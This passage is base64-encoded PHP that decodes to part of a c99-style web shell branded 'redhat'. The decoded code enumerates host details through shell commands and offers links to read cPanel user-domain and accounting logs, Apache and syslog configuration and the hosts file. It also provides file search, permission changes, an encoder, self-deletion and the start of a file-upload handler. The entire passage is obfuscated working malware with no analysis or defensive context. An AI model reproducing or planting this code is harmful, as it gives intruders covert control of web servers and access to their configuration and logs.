U+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyCpLjwvZm9udD48L2I+PGJyPiI7fQogfQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3VzZXJkb21haW5zIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj11c2VyZG9tYWlucyZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5WaWV3IGNwYW5lbCB1c2VyLWRvbWFpbnMgbG9nczwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9YWNjb3VudGluZy5sb2cmZD0iLnVybGVuY29kZSgiL3Zhci9jcGFuZWwvIikuIlwiJmZ0PXR4dD48dT48Yj5WaWV3IGNwYW5lbCBsb2dzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9aHR0cGQuY29uZiZkPSIudXJsZW5jb2RlKCIvdXNyL2xvY2FsL2FwYWNoZS9jb25mIikuIiZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9odHRwZC5jb25mIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1odHRwZC5jb25mJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPkFwYWNoZSBjb25maWd1cmF0aW9uIChodHRwZC5jb25mKTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3N5c2xvZy5jb25mIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1zeXNsb2cuY29uZiZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5TeXNsb2cgY29uZmlndXJhdGlvbiAoc3lzbG9nLmNvbmYpPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbW90ZCIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9bW90ZCZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5NZXNzYWdlIE9mIFRoZSBEYXk8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9ob3N0cyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9aG9zdHMmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+SG9zdHM8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KIGZ1bmN0aW9uIGRpc3BsYXlzZWNpbmZvKCRuYW1lLCR2YWx1ZSkge2lmICghZW1wdHkoJHZhbHVlKSkge2lmICghZW1wdHkoJG5hbWUpKSB7JG5hbWUgPSAiPGI+Ii4kbmFtZS4iIC0gPC9iPiI7fSBlY2hvICRuYW1lLm5sMmJyKCR2YWx1ZSkuIjxicj4iO319CiBkaXNwbGF5c2VjaW5mbygiT1MgVmVyc2lvbj8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvdmVyc2lvbiIpKTsKIGRpc3BsYXlzZWNpbmZvKCJLZXJuZWwgdmVyc2lvbj8iLG15c2hlbGxleGVjKCJzeXNjdGwgLWEgfCBncmVwIHZlcnNpb24iKSk7CiBkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBuYW1lIixteXNoZWxsZXhlYygiY2F0IC9ldGMvaXNzdWUubmV0IikpOwogZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgbmFtZSAoMikiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy8qLXJlYWxpc2UiKSk7CiBkaXNwbGF5c2VjaW5mbygiQ1BVPyIsbXlzaGVsbGV4ZWMoImNhdCAvcHJvYy9jcHVpbmZvIikpOwogZGlzcGxheXNlY2luZm8oIlJBTSIsbXlzaGVsbGV4ZWMoImZyZWUgLW0iKSk7CiBkaXNwbGF5c2VjaW5mbygiSEREIHNwYWNlIixteXNoZWxsZXhlYygiZGYgLWgiKSk7CiBkaXNwbGF5c2VjaW5mbygiTGlzdCBvZiBBdHRyaWJ1dGVzIixteXNoZWxsZXhlYygibHNhdHRyIC1hIikpOwogZGlzcGxheXNlY2luZm8oIk1vdW50IG9wdGlvbnMgIixteXNoZWxsZXhlYygiY2F0IC9ldGMvZnN0YWIiKSk7CiBkaXNwbGF5c2VjaW5mbygiSXMgY1VSTCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggY3VybCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJJcyBseW54IGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBseW54IikpOwogZGlzcGxheXNlY2luZm8oIklzIGxpbmtzIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBsaW5rcyIpKTsKIGRpc3BsYXlzZWNpbmZvKCJJcyBmZXRjaCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggZmV0Y2giKSk7CiBkaXNwbGF5c2VjaW5mbygiSXMgR0VUIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBHRVQiKSk7CiBkaXNwbGF5c2VjaW5mbygiSXMgcGVybCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggcGVybCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBhcGFjaGUiLG15c2hlbGxleGVjKCJ3aGVyZWlzIGFwYWNoZSIpKTsKIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBwZXJsPyIsbXlzaGVsbGV4ZWMoIndoZXJlaXMgcGVybCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgcHJvZnRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHByb2Z0cGQuY29uZiIpKTsKIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgaHR0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBodHRwZC5jb25mIikpOwogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBteS5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIG15LmNvbmYiKSk7CiBkaXNwbGF5c2VjaW5mbygibG9jYXRlIHBzeWJuYy5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHBzeWJuYy5jb25mIikpOwp9CmlmICgkYWN0ID09ICJta2ZpbGUiKQp7CiBpZiAoJG1rZmlsZSAhPSAkZCkKIHsKICBpZiAoZmlsZV9leGlzdHMoJG1rZmlsZSkpIHtlY2hvICI8Yj5NYWtlIEZpbGUgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiPC9iPjogb2JqZWN0IGFscmVkeSBleGlzdHMiO30KICBlbHNlaWYgKCFmb3BlbigkbWtmaWxlLCJ3IikpIHtlY2hvICI8Yj5NYWtlIEZpbGUgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiPC9iPjogYWNjZXNzIGRlbmllZCI7fQogIGVsc2UgeyRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkbWtmaWxlKTsgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fSAkZiA9IGJhc2VuYW1lKCRta2ZpbGUpO30KIH0KIGVsc2UgeyRhY3QgPSAkZHNwYWN0ID0gImxzIjt9Cn0KaWYgKCRhY3QgPT0gImVuY29kZXIiKQp7CiBlY2hvICI8c2NyaXB0PmZ1bmN0aW9uIHNldF9lbmNvZGVyX2lucHV0KHRleHQpIHtkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmlucHV0LnZhbHVlID0gdGV4dDt9PC9zY3JpcHQ+PGNlbnRlcj48Yj5FbmNvZGVyOjwvYj48L2NlbnRlcj48Zm9ybSBuYW1lPVwiZW5jb2RlclwiIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1lbmNvZGVyPjxiPklucHV0OjwvYj48Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPVwiZW5jb2Rlcl9pbnB1dFwiIGlkPVwiaW5wdXRcIiBjb2xzPTUwIHJvd3M9NT4iLkBodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVyX2lucHV0KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cImNhbGN1bGF0ZVwiPjxicj48YnI+PC9jZW50ZXI+PGI+SGFzaGVzPC9iPjo8YnI+PGNlbnRlcj4iOwogZm9yZWFjaChhcnJheSgibWQ1IiwiY3J5cHQiLCJzaGExIiwiY3JjMzIiKSBhcyAkdikKIHsKICBlY2hvICR2LiIgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9NTAgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kdigkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5Pjxicj4iOwogfQogZWNobyAiPC9jZW50ZXI+PGI+VXJsOjwvYj48Y2VudGVyPjxicj51cmxlbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT4KIDxicj51cmxkZWNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKHVybGRlY29kZSgkZW5jb2Rlcl9pbnB1dCkpLiJcIiByZWFkb25seT4KIDxicj48L2NlbnRlcj48Yj5CYXNlNjQ6PC9iPjxjZW50ZXI+YmFzZTY0X2VuY29kZSAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLmJhc2U2NF9lbmNvZGUoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT48L2NlbnRlcj4iOwogZWNobyAiPGNlbnRlcj5iYXNlNjRfZGVjb2RlIC0gIjsKIGlmIChiYXNlNjRfZW5jb2RlKGJhc2U2NF9kZWNvZGUoJGVuY29kZXJfaW5wdXQpKSAhPSAkZW5jb2Rlcl9pbnB1dCkge2VjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSB2YWx1ZT1cImZhaWxlZFwiIGRpc2FibGVkIHJlYWRvbmx5PiI7fQogZWxzZQogewogICRkZWJhc2U2NCA9IGJhc2U2NF9kZWNvZGUoJGVuY29kZXJfaW5wdXQpOwogICRkZWJhc2U2NCA9IHN0cl9yZXBsYWNlKCJcMCIsIlswXSIsJGRlYmFzZTY0KTsKICAkYSA9IGV4cGxvZGUoIlxyXG4iLCRkZWJhc2U2NCk7CiAgJHJvd3MgPSBjb3VudCgkYSk7CiAgJGRlYmFzZTY0ID0gaHRtbHNwZWNpYWxjaGFycygkZGViYXNlNjQpOwogIGlmICgkcm93cyA9PSAxKSB7ZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuJGRlYmFzZTY0LiJcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ijt9CiAgZWxzZSB7JHJvd3MrKzsgZWNobyAiPHRleHRhcmVhIGNvbHM9XCI0MFwiIHJvd3M9XCIiLiRyb3dzLiJcIiBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiIuJGRlYmFzZTY0LiI8L3RleHRhcmVhPiI7fQogIGVjaG8gIiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cInNldF9lbmNvZGVyX2lucHV0KGRvY3VtZW50LmZvcm1zLmVuY29kZXIuZGViYXNlNjQudmFsdWUpXCI+PGI+XjwvYj48L2E+IjsKIH0KIGVjaG8gIjwvY2VudGVyPjxicj48Yj5CYXNlIGNvbnZlcnRhdGlvbnM8L2I+OjxjZW50ZXI+ZGVjMmhleCAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiOwogJGMgPSBzdHJsZW4oJGVuY29kZXJfaW5wdXQpOwogZm9yKCRpPTA7JGk8JGM7JGkrKykKIHsKICAkaGV4ID0gZGVjaGV4KG9yZCgkZW5jb2Rlcl9pbnB1dFskaV0pKTsKICBpZiAoJGVuY29kZXJfaW5wdXRbJGldID09ICImIikge2VjaG8gJGVuY29kZXJfaW5wdXRbJGldO30KICBlbHNlaWYgKCRlbmNvZGVyX2lucHV0WyRpXSAhPSAiXFwiKSB7ZWNobyAiJSIuJGhleDt9CiB9CiBlY2hvICJcIiByZWFkb25seT48YnI+PC9jZW50ZXI+PC9mb3JtPiI7Cn0KaWYgKCRhY3QgPT0gImZzYnVmZiIpCnsKICRhcnJfY29weSA9ICRzZXNzX2RhdGFbImNvcHkiXTsKICRhcnJfY3V0ID0gJHNlc3NfZGF0YVsiY3V0Il07CiAkYXJyID0gYXJyYXlfbWVyZ2UoJGFycl9jb3B5LCRhcnJfY3V0KTsKIGlmIChjb3VudCgkYXJyKSA9PSAwKSB7ZWNobyAiPGNlbnRlcj48Yj5CdWZmZXIgaXMgZW1wdHkhPC9iPjwvY2VudGVyPiI7fQogZWxzZSB7ZWNobyAiPGI+RmlsZS1TeXN0ZW0gYnVmZmVyPC9iPjxicj48YnI+IjsgJGxzX2FyciA9ICRhcnI7ICRkaXNwX2Z1bGxwYXRoID0gVFJVRTsgJGFjdCA9ICJscyI7fQp9CmlmICgkYWN0ID09ICJzZWxmcmVtb3ZlIikKewogaWYgKCgkc3VibWl0ID09ICRybmRjb2RlKSBhbmQgKCRzdWJtaXQgIT0gIiIpKQogewogIGlmICh1bmxpbmsoX19GSUxFX18pKSB7QG9iX2NsZWFuKCk7IGVjaG8gIlRoYW5rcyBmb3IgdXNpbmcgcmVkaGF0IHYuIi4kc2h2ZXIuIiEiOyBjOTlzaGV4aXQoKTsgfQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgZGVsZXRlICIuX19GSUxFX18uIiE8L2I+PC9jZW50ZXI+Ijt9CiB9CiBlbHNlCiB7CiAgaWYgKCFlbXB0eSgkcm5kY29kZSkpIHtlY2hvICI8Yj5FcnJvcjogaW5jb3JyZWN0IGNvbmZpbWF0aW9uITwvYj4iO30KICAkcm5kID0gcmFuZCgwLDkpLnJhbmQoMCw5KS5yYW5kKDAsOSk7CiAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXNlbGZyZW1vdmU+PGI+U2VsZi1yZW1vdmU6ICIuX19GSUxFX18uIiA8YnI+PGI+QXJlIHlvdSBzdXJlPzxicj5Gb3IgY29uZmlybWF0aW9uLCBlbnRlciBcIiIuJHJuZC4iXCI8L2I+OiZuYnNwOzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXJuZGNvZGUgdmFsdWU9XCIiLiRybmQuIlwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zdWJtaXQ+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiWUVTXCI+PC9mb3JtPiI7CiB9Cn0KaWYgKCRhY3QgPT0gInNlYXJjaCIpewogZWNobyAiPGI+U2VhcmNoIGluIGZpbGUtc3lzdGVtOjwvYj48YnI+IjsKIGlmIChlbXB0eSgkc2VhcmNoX2luKSkgeyRzZWFyY2hfaW4gPSAkZDt9CiBpZiAoZW1wdHkoJHNlYXJjaF9uYW1lKSkgeyRzZWFyY2hfbmFtZSA9ICIoLiopIjsgJHNlYXJjaF9uYW1lX3JlZ2V4cCA9IDE7fQogaWYgKGVtcHR5KCRzZWFyY2hfdGV4dF93d28pKSB7JHNlYXJjaF90ZXh0X3JlZ2V4cCA9IDA7fQogaWYgKCFlbXB0eSgkc3VibWl0KSkKIHsKICAkZm91bmQgPSBhcnJheSgpOwogICRmb3VuZF9kID0gMDsKICAkZm91bmRfZiA9IDA7CiAgJHNlYXJjaF9pX2YgPSAwOwogICRzZWFyY2hfaV9kID0gMDsKICAkYSA9IGFycmF5CiAgKAogICAibmFtZSI9PiRzZWFyY2hfbmFtZSwgIm5hbWVfcmVnZXhwIj0+JHNlYXJjaF9uYW1lX3JlZ2V4cCwKICAgInRleHQiPT4kc2VhcmNoX3RleHQsICJ0ZXh0X3JlZ2V4cCI9PiRzZWFyY2hfdGV4dF9yZWd4cCwKICAgInRleHRfd3dvIj0+JHNlYXJjaF90ZXh0X3d3bywKICAgInRleHRfY3MiPT4kc2VhcmNoX3RleHRfY3MsCiAgICJ0ZXh0X25vdCI9PiRzZWFyY2hfdGV4dF9ub3QKICApOwogICRzZWFyY2h0aW1lID0gZ2V0bWljcm90aW1lKCk7CiAgJGluID0gYXJyYXlfdW5pcXVlKGV4cGxvZGUoIjsiLCRzZWFyY2hfaW4pKTsKICBmb3JlYWNoKCRpbiBhcyAkdikge2M5OWZzZWFyY2goJHYpO30KICAkc2VhcmNodGltZSA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzZWFyY2h0aW1lLDQpOwogIGlmIChjb3VudCgkZm91bmQpID09IDApIHtlY2hvICI8Yj5ObyBmaWxlcyBmb3VuZCE8L2I+Ijt9CiAgZWxzZQogIHsKICAgJGxzX2FyciA9ICRmb3VuZDsKICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOwogICAkYWN0ID0gImxzIjsKICB9CiB9CiBlY2hvICI8Zm9ybSBtZXRob2Q9UE9TVD4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwiIi4kZHNwYWN0LiJcIj4KPGI+U2VhcmNoIGZvciAoZmlsZS9mb2xkZXIgbmFtZSk6IDwvYj48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX25hbWVcIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9uYW1lKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfbmFtZSkuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX25hbWVfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF9uYW1lX3JlZ2V4cCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gcmVnZXhwCjxicj48Yj5TZWFyY2ggaW4gKGV4cGxvZGUgXCI7XCIpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9pblwiIHNpemU9XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX2luKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfaW4pLiJcIj4KPGJyPjxicj48Yj5UZXh0OjwvYj48YnI+PHRleHRhcmVhIG5hbWU9XCJzZWFyY2hfdGV4dFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF90ZXh0KS4iPC90ZXh0YXJlYT4KPGJyPjxicj48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIHJlZ2V4cAombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3d3b1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF93d28gPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIDx1Pnc8L3U+aG9sZSB3b3JkcyBvbmx5CiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfY3NcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfY3MgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIGNhczx1PmU8L3U+IHNlbnNpdGl2ZQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X25vdFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9ub3QgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIGZpbmQgZmlsZXMgPHU+Tk9UPC91PiBjb250YWluaW5nIHRoZSB0ZXh0Cjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2VhcmNoXCI+PC9mb3JtPiI7CiBpZiAoJGFjdCA9PSAibHMiKSB7JGRzcGFjdCA9ICRhY3Q7IGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+U2VhcmNoIHRvb2sgIi4kc2VhcmNodGltZS4iIHNlY3MgKCIuJHNlYXJjaF9pX2YuIiBmaWxlcyBhbmQgIi4kc2VhcmNoX2lfZC4iIGZvbGRlcnMsICIucm91bmQoKCRzZWFyY2hfaV9mKyRzZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMgcGVyIHNlY29uZCkuPC9iPjxicj48YnI+Ijt9Cn0KaWYgKCRhY3QgPT0gImNobW9kIikKewogJG1vZGUgPSBmaWxlcGVybXMoJGQuJGYpOwogaWYgKCEkbW9kZSkge2VjaG8gIjxiPkNoYW5nZSBmaWxlLW1vZGUgd2l0aCBlcnJvcjo8L2I+IGNhbid0IGdldCBjdXJyZW50IHZhbHVlLiI7fQogZWxzZQogewogICRmb3JtID0gVFJVRTsKICBpZiAoJGNobW9kX3N1Ym1pdCkKICB7CiAgICRvY3RldCA9ICIwIi5iYXNlX2NvbnZlcnQoKCRjaG1vZF9vWyJyIl0/MTowKS4oJGNobW9kX29bInciXT8xOjApLigkY2htb2Rfb1sieCJdPzE6MCkuKCRjaG1vZF9nWyJyIl0/MTowKS4oJGNobW9kX2dbInciXT8xOjApLigkY2htb2RfZ1sieCJdPzE6MCkuKCRjaG1vZF93WyJyIl0/MTowKS4oJGNobW9kX3dbInciXT8xOjApLigkY2htb2Rfd1sieCJdPzE6MCksMiw4KTsKICAgaWYgKGNobW9kKCRkLiRmLCRvY3RldCkpIHskYWN0ID0gImxzIjsgJGZvcm0gPSBGQUxTRTsgJGVyciA9ICIiO30KICAgZWxzZSB7JGVyciA9ICJDYW4ndCBjaG1vZCB0byAiLiRvY3RldC4iLiI7fQogIH0KICBpZiAoJGZvcm0pCiAgewogICAkcGVybXMgPSBwYXJzZV9wZXJtcygkbW9kZSk7CiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRkLiRmKSksLTQsNCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4gIi4kZXJyOiIiKS4iPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGYpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y2htb2Q+PHRhYmxlIGFsaWduPWxlZnQgd2lkdGg9MzAwIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9NT48dHI+PHRkPjxiPk93bmVyPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3JdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWNobW9kX29bd10gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29beF0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC90ZD48dGQ+PGI+R3JvdXA8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbcl0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48dGQ+PGI+V29ybGQ8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbcl0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9Y2htb2Rfc3VibWl0IHZhbHVlPVwiU2F2ZVwiPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4iOwogIH0KIH0KfQppZiAoJGFjdCA9PSAidXBsb2FkIikKewogJHVwbG9hZG1lc3MgPSAiIjsKICR1cGxvYWRwYXRoID0gc